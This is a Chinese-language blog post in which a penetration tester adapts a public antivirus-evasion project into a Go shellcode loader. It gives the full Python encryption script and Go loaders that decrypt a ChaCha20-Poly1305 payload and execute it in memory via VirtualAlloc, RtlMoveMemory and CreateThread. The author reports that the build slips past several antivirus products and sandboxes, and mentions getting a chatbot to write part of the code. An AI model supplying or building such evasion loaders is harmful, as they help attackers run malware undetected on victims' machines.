一直想自己不借助网上博客内容,通过自己思路来做一个免杀的脚本,但是都因为某些原因搁置了。反正这些天每日每夜的渗透测试,说的好听,说的不好听就是功能点测试,搞得现在有点疲倦了,于是想着换个方向玩玩?点开博客发现有张目录“自己做的免杀脚本”,搞得我羞愧的红透了脸。如果说少女红透的脸代表它的心意,那少年的红脸蛋不得是尴尬死啊

对于免杀,我现在所掌握的也就载荷分离,加密混淆,加壳加花,特征码修改之类的,直接修改汇编代码什么的对我来说还是太有操作啦。言归正传,既然我能学会这些内容,说明脑子还是没问题的,还记得小时候不喜欢写作文,最喜欢抄网上的现成,加工一遍就变成我的了(确实还被老师表扬了,没毛病嗷)

那咱就从“模仿犯”入手!

于是我从github上下载了个免杀脚本(当然现在已经不是了)https://github.com/pureqh/bypassAV

它的利用过程

  • 将shellcode填至go_shellcode_encode.py生成混淆后的base64 payload
  • 然后将生成的payload填至main.go build("b64shellcode")
  • 将main.go中的url替换为你vbs的某个网页或文本(局域网网页同样可以,但是需要程序可以正常使用时此网页需要可以访问)
  • 编译:go build -trimpath -ldflags="-w -s -H=windowsgui"

差不多就是通过python的base64加密替换字符混淆输出加密字符,然后导入进go的代码中替换字符解码执行,刚刚好提到的知识的我都会,那就从你开刀

观察源码

#.py
import base64
import random
import numpy

buf1 =  b"shell"
b64shellcode = base64.b64encode(buf1).decode()
print(b64shellcode)
b64shellcode = b64shellcode.replace("A","#").replace("H","!").replace("1","@").replace("T",")")
print(b64shellcode)
#.go
package main

import (
	"encoding/base64"
	"strings"
	"syscall"
	"unsafe"
	"net/http"
	"net/url"
	"fmt"
)
var (
	kernel32     = syscall.NewLazyDLL("kernel32.dll")
	VirtualAlloc = kernel32.NewProc("VirtualAlloc")
	RtlMoveMemory = kernel32.NewProc("RtlMoveMemory")
)

func build(ddm string){
	str1 :=strings.Replace(ddm, "#", "A", -1 )
	str2 :=strings.Replace(str1, "!", "H", -1 )
	str3 :=strings.Replace(str2, "@", "1", -1 )
	str4 :=strings.Replace(str3, ")", "T", -1 )
	sDec,_ := base64.StdEncoding.DecodeString(str4)
	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sDec)), 0x1000|0x2000, 0x40)
	_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sDec[0])), uintptr(len(sDec)))
	syscall.Syscall(addr, 0, 0, 0, 0)

}
func main() {
	u, _ := url.Parse("https://yezifan.cn/")
	q := u.Query()
	u.RawQuery = q.Encode()
	res, err := http.Get(u.String())
	if err != nil {
		return
	}
	resCode := res.StatusCode
	res.Body.Close()
	if err != nil {
		return
	}
	var y int = 200
	if resCode == y {
	build("shell")
		}
}

OK老弟,灵感来了,既然是go去加载python的混淆编码,可能生成的编码内容已经被当成特征码供杀毒软件区别对待了,那咱把python的编码方式替换掉,然后让go去加载编码还原,试试。于是我带着求知的精神去询问豆包:python库里面提供了哪些加密方式?能不能给我一 一展示?在我细节的精心的调教下,成了

此处省略试错过程直接上python代码结果

from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305
import os
import base64

key = ChaCha20Poly1305.generate_key()
cipher = ChaCha20Poly1305(key)
nonce = os.urandom(12)
message = b"shell"
encrypted_message = cipher.encrypt(nonce, message, None)
key_str = base64.b64encode(key).decode()
encrypted_str = base64.b64encode(nonce + encrypted_message).decode()

print("密钥长度:", len(key))
print("密钥内容:", key_str)
print("密文长度:", len(encrypted_str))
print("密文内容:", encrypted_str)

# 保存到文件
with open('key.txt', 'w') as f:
    f.write(key_str)
with open('encrypted.txt', 'w') as f:
    f.write(encrypted_str)

这段代码会在项目路径下产生一个加密文件和密钥,将他放到go的代码中加载即可被还原识别

接下来咱有了钥匙孔,就差一把钥匙了,于是我直接把这一坨py答辩丢给小豆子,让他给我go的解码并且整合到原项目中,就变成了这样子

package main

import (
    "golang.org/x/crypto/chacha20poly1305"
    "encoding/base64"
    "fmt"
    "io/ioutil"
	"syscall"
	"unsafe"
)

var (
	kernel32     = syscall.NewLazyDLL("kernel32.dll")
	VirtualAlloc = kernel32.NewProc("VirtualAlloc")
	RtlMoveMemory = kernel32.NewProc("RtlMoveMemory")
)

func decrypt(encrypted, keyStr string) ([]byte, error) {
    key, err := base64.StdEncoding.DecodeString(keyStr)
    if err != nil || len(key) != chacha20poly1305.KeySize {
        return nil, fmt.Errorf("无效密钥")
    }
    //fmt.Println("解密时密钥长度:", len(key))

    ciphertext, err := base64.StdEncoding.DecodeString(encrypted)
    if err != nil || len(ciphertext) < chacha20poly1305.NonceSize {
        return nil, fmt.Errorf("无效密文")
    }
    //fmt.Println("解密时密文长度:", len(ciphertext))

    nonce := ciphertext[:chacha20poly1305.NonceSize]
    ciphertext = ciphertext[chacha20poly1305.NonceSize:]

    aead, err := chacha20poly1305.New(key)
    if err != nil {
        return nil, fmt.Errorf("创建 AEAD 失败")
    }

    plaintext, err := aead.Open(nil, nonce, ciphertext, nil)
    if err != nil {
        return nil, fmt.Errorf("解密失败: %v", err)
    }

    return plaintext, nil
}


func request(xiubao string){

	decodedBytes,_ := base64.StdEncoding.DecodeString(xiubao)
	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(decodedBytes)), 0x1000|0x2000, 0x40)
	_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&decodedBytes[0])), uintptr(len(decodedBytes)))
	syscall.Syscall(addr, 0, 0, 0, 0)

}

func main() {
    // 从文件读取密钥和密文
    keyBytes, err := ioutil.ReadFile("key.txt")
    if err != nil {
        fmt.Println("读取密钥文件失败:", err)
        return
    }
    keyStr := string(keyBytes)

    encryptedBytes, err := ioutil.ReadFile("encrypted.txt")
    if err != nil {
        fmt.Println("读取密文文件失败:", err)
        return
    }
    encrypted := string(encryptedBytes)

    decrypted, err := decrypt(encrypted, keyStr)
	
    if err != nil {
        fmt.Println("解密错误:", err)
        return
    }
	
	encodedStr := base64.StdEncoding.EncodeToString([]byte(decrypted))
	request(encodedStr)

}
    

但是这样编译后产生的exe还是会被查杀

我继续观察了下,和原来项目大致没怎么变动的点就在这个函数里

func request(xiubao string){

	decodedBytes,_ := base64.StdEncoding.DecodeString(xiubao)
	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(decodedBytes)), 0x1000|0x2000, 0x40)
	_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&decodedBytes[0])), uintptr(len(decodedBytes)))
	syscall.Syscall(addr, 0, 0, 0, 0)

}

那是不是咱换个加载方式就行了呢?

于是我打算随便找个加载器胡弄下,就把你杀软当日本人整,那咋了

//syscall调用winapi
	// 1.加载kernel32.dll,MustLoadDLL
	kernel32 := syscall.MustLoadDLL("kernel32.dll")
	// 2.获取windows api,MustFindProc
	VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
	RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory")
	CreateThread := kernel32.MustFindProc("CreateThread")
	WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
	//shellcode_clac
	sc := []byte{}
	//申请地址
	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x40)
	//复制sc地址到内存里面
	// &sc[0],因为在go中指针不安全,所以要使用 unsafe.Pointer类型
	//&sc-->指针 ,&sc[0] 因为sc是byte所有要取[0]个,unsafe.Pointer()指针都要用这个,(uintptr)转类型
	RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
	// 5.创建线程
	thread, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
	// 6.等待线程创建
	WaitForSingleObject.Call(thread, 0xFFFFFFFF)
	// 7.关闭 DLL
	kernel32.Release()

一整合就变成了酱紫的内容

package main

import (
    "golang.org/x/crypto/chacha20poly1305"
    "encoding/base64"
    "fmt"
    "io/ioutil"
	"syscall"
	"unsafe"
)

var (
	kernel32     = syscall.NewLazyDLL("kernel32.dll")
	VirtualAlloc = kernel32.NewProc("VirtualAlloc")
	RtlMoveMemory = kernel32.NewProc("RtlMoveMemory")
)

func decrypt(encrypted, keyStr string) ([]byte, error) {
    key, err := base64.StdEncoding.DecodeString(keyStr)
    if err != nil || len(key) != chacha20poly1305.KeySize {
        return nil, fmt.Errorf("无效密钥")
    }
    //fmt.Println("解密时密钥长度:", len(key))

    ciphertext, err := base64.StdEncoding.DecodeString(encrypted)
    if err != nil || len(ciphertext) < chacha20poly1305.NonceSize {
        return nil, fmt.Errorf("无效密文")
    }
    //fmt.Println("解密时密文长度:", len(ciphertext))

    nonce := ciphertext[:chacha20poly1305.NonceSize]
    ciphertext = ciphertext[chacha20poly1305.NonceSize:]

    aead, err := chacha20poly1305.New(key)
    if err != nil {
        return nil, fmt.Errorf("创建 AEAD 失败")
    }

    plaintext, err := aead.Open(nil, nonce, ciphertext, nil)
    if err != nil {
        return nil, fmt.Errorf("解密失败: %v", err)
    }

    return plaintext, nil
}



func request1(xiubao1 string){
	//syscall调用winapi
	// 1.加载kernel32.dll,MustLoadDLL
	kernel32 := syscall.MustLoadDLL("kernel32.dll")
	// 2.获取windows api,MustFindProc
	VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
	RtlMoveMemory := kernel32.MustFindProc("RtlMoveMemory")
	CreateThread := kernel32.MustFindProc("CreateThread")
	WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
	//shellcode_clac
	decodedBytes,_ := base64.StdEncoding.DecodeString(xiubao1)
	//申请地址
	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(decodedBytes)), 0x1000|0x2000, 0x40)
	//复制sc地址到内存里面
	// &sc[0],因为在go中指针不安全,所以要使用 unsafe.Pointer类型
	//&sc-->指针 ,&sc[0] 因为sc是byte所有要取[0]个,unsafe.Pointer()指针都要用这个,(uintptr)转类型
	RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&decodedBytes[0])), uintptr(len(decodedBytes)))
	// 5.创建线程
	thread, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
	// 6.等待线程创建
	WaitForSingleObject.Call(thread, 0xFFFFFFFF)
	// 7.关闭 DLL
	kernel32.Release()
}
func main() {
    // 从文件读取密钥和密文
    keyBytes, err := ioutil.ReadFile("key.txt")
    if err != nil {
        fmt.Println("读取密钥文件失败:", err)
        return
    }
    keyStr := string(keyBytes)

    encryptedBytes, err := ioutil.ReadFile("encrypted.txt")
    if err != nil {
        fmt.Println("读取密文文件失败:", err)
        return
    }
    encrypted := string(encryptedBytes)

    decrypted, err := decrypt(encrypted, keyStr)
	
    if err != nil {
        fmt.Println("解密错误:", err)
        return
    }
	
	encodedStr := base64.StdEncoding.EncodeToString([]byte(decrypted))
	request1(encodedStr)

}

编译运行的1.exe成功绕过某绒而且能正常上线

交微步在线和360沙箱

暂时只有卡巴斯基查出来了